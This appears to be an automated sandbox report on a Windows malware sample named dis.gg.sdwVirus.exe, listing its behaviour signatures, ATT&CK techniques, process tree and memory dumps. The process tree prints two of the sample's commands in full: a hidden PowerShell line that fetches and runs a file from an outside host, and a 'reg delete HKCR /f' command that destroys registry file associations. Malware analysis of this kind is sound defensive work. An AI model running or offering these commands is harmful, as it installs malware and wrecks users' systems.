Analysis
- user interaction
yes - max time kernel
49s - max time network
31s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
02/10/2026, 21:49
General
- Target dis.gg.sdwVirus.exe
- Size 41KB
- Sample261002-1pdjcswt2n
- SHA256 c8810de8adf53ad37fd89c03b11c8f2cd016adbc56023d9e84d4b4753c44a8f5
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Modifies system executable filetype association 2 TTPs 16 IoCs
- Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Modifies registry class 64 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\dis.gg.sdwVirus.exe"C:\Users\Admin\AppData\Local\Temp\dis.gg.sdwVirus.exe"1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k reg delete HKCR /f2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg delete HKCR /f3⤵
- Modifies system executable filetype association
- Modifies registry class
-
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004F0 0x00000000000004F41⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Persistence
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Privilege Escalation
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
memory/1196-23-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/1196-25-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/1196-30-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/1196-28-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/1196-27-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/1196-18-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/1196-24-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/1196-20-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/1196-22-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/1196-12-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/1196-15-0x0000021B28D50000-0x0000021B28D72000-memory.dmp
memory/1196-16-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/1196-21-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/1196-26-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/1196-17-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/1196-19-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/5924-1-0x00007FFC6729F000-0x00007FFC672A0000-memory.dmp
memory/5924-8-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/5924-0-0x0000000000D30000-0x0000000000D40000-memory.dmp
memory/5924-7-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/5924-6-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/5924-5-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/5924-4-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/5924-3-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp
memory/5924-2-0x00007FFC67110000-0x00007FFC67AB4000-memory.dmp